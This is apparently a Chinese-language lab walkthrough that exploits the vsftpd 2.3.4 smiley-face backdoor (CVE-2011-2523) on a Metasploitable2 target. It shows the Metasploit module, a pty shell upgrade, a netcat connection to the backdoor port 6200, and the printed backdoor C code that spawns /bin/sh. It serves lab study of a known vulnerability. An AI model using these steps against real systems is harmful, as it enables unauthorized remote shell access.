# 靶机下载
Metasploitable靶场下载
# 渗透环境
- 攻击机:Linux version 6.1.0-kali5-amd64 (devel@kali.org) (gcc-12 (Debian 12.2.0-14) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali2 (2023-02-23)
- 目标机:Metasploitable2-Linux
# 渗透过程
# 主机发现与端口扫描
由于目标靶场的网络模式为 NAT 模式,所以只要 Kali 与之在同一个网段即可,此处 VM 设置 NAT 模式的子网地址为 192.168.152.0
,故对 192.168.152.1/24
进行 Nmap 扫描。
其中除开 192.168.152.1
192.168.152.2
192.168.152.254
之后, 192.168.152.132
为 Kali 的 IP 地址,故可以锁定目标靶场 IP 为 192.168.152.135
.
在锁定靶场 IP 后,对其所开放的端口进行扫描。
可以看到开放了很多端口,其中也有对应端口的服务版本号信息,之后就可以根据该信息进行注意漏洞渗透。
# 基于 vsftpd2.3.4 后门笑脸漏洞
在 vsftpd 2.3.4
版本中,在登录输入用户名时输入 :)
类似于笑脸的符号,会导致服务处理开启 6200
后门端口,直接执行系统命令。而此处靶场被扫描到的 FTP 端口版本正好符号该要求。
# MSF 进行漏洞利用
开启 msfconsole,搜索 vsftpd 模块,并 use:
输入 options 查看需要配置项:
配置 RHOSTS:
输入 run
开始,可以发现已经成功建立连接,输入 whoami 查看其当前用户身份:
由于此时使用的终端不是很方便操作,可以输入 python 命令来获取一个虚拟终端:
python -c "import pty;pty.spawn('/bin/sh')" |
# 连接 6200 后门
直接 ftp 192.168.152.135
进行 ftp 连接:
此时再去另外一个终端端口输入 nc 192.168.152.135 6200
进行连接:
据结果所见,漏洞利用成功。😁
# 笑脸漏洞 - CVE-2011-2523 原理
存在该漏洞的原因主要是在 FTP 代码的 str.c 文件中有这么一段与程序无关的代码:
// 位于 VSFTPD2.3.4 的 str.c 中 | |
else if((p_str->p_buf[i]==0x3a) | |
&& (p_str->p_buf[i+1]==0x29)) | |
{ | |
vsf_sysutil_extra(); | |
} |
p_buf [i] 数组里存储的数据是用户输入的用户名,此处判断第 i 处和 i+1 处的字符是否为 0x3a
和 0x29
, 是则执行 vsf_sysutil_extra () 函数,而所判断的两个字符正好对应其 “:” 和 “)” 组合起来就是一个笑脸符号,故得名笑脸漏洞。
而 vsf_sysutil_extra () 的具体实现如下:
// 位于 VSFTPD2.3.4 中的 sysdeputil.c | |
int vsf_sysutil_extra(void) | |
{ | |
int fd, rfd; | |
struct sockaddr_in sa; | |
if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) | |
exit(1); | |
memset(&sa, 0, sizeof(sa)); | |
sa.sin_family = AF_INET; | |
sa.sin_port = htons(6200); | |
sa.sin_addr.s_addr = INADDR_ANY; | |
if((bind(fd,(struct sockaddr *)&sa, | |
sizeof(struct sockaddr))) < 0) exit(1); | |
if((listen(fd, 100)) == -1) exit(1); | |
for(;;) | |
{ | |
rfd = accept(fd, 0, 0); | |
close(0); close(1); close(2); | |
dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2); | |
execl("/bin/sh","sh",(char *)0); | |
} | |
} |